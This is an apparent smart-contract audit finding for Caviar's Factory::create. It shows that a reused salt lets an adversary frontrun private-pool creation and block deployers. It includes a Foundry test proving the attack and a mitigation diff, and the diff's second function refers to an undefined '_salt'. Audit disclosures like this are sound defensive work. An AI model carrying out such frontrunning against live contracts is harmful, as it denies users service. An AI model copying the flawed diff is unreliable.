Caviar Private Pools - juancito's results

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/main/src/Factory.sol#L92

Vulnerability details

Factory::create uses a _salt parameter for the creation of the private pool. If an adversary frontruns the original transaction using the same _salt, the pool will be created with the adversary as the owner, and the original deployer transaction will fail.

Impact

An adversary can prevent the creation of any private pools, making the protocol useless, or perform a griefing attack targeting specific users or NFT collections, preventing them from deploying private pools.

The cost of performing the attack is low. Only having to pay enough gas to frontrun the original transactions

Proof of Concept

The Factory::create function directly uses the _salt parameter to clone the contract:

92:        privatePool = PrivatePool(payable(privatePoolImplementation.cloneDeterministic(_salt)));

Link to code

Add this test to test/Factory/Create.t.sol to prove that any frontrunning tx with the same salt will make the deployer transaction fail:

    function test_FrontrunCreate() public {
        address deployer = address(0x1);
        address adversary = address(0x2);
        vm.deal(deployer, 1 ether);

        uint256[] memory emptyTokenIds;

        // Place the adversary tx first to simulate the adversary frontrunning the deployer tx
        // It calls the function with the same `salt` that the deployer will use
        vm.prank(adversary);
        factory.create(address(0), address(0), 0, 0, 0, 0, 0, false, false, salt, emptyTokenIds, 0);

        // The deployer tx comes after the one from the adversary and reverts
        vm.prank(deployer);
        vm.expectRevert();
        factory.create{value: baseTokenAmount}(
            baseToken,
            nft,
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false,
            salt,
            tokenIds,
            baseTokenAmount
        );
    }

Tools Used

Manual review

Recommended Mitigation Steps

Use a hashed salt that includes the msg.sender. That way it is not possible to frontrun the transaction.

// function create(
-    privatePool = PrivatePool(payable(privatePoolImplementation.cloneDeterministic(_salt)));
+    bytes32 hashedSalt = bytes32(keccak256(abi.encode(_salt, msg.sender)));
+    privatePool = PrivatePool(payable(privatePoolImplementation.cloneDeterministic(hashedSalt)));

    function predictPoolDeploymentAddress(bytes32 salt) public view returns (address predictedAddress) {
-        predictedAddress = privatePoolImplementation.predictDeterministicAddress(salt, address(this));
+        bytes32 hashedSalt = bytes32(keccak256(abi.encode(_salt, msg.sender)));
+        predictedAddress = privatePoolImplementation.predictDeterministicAddress(hashedSalt, address(this));
    }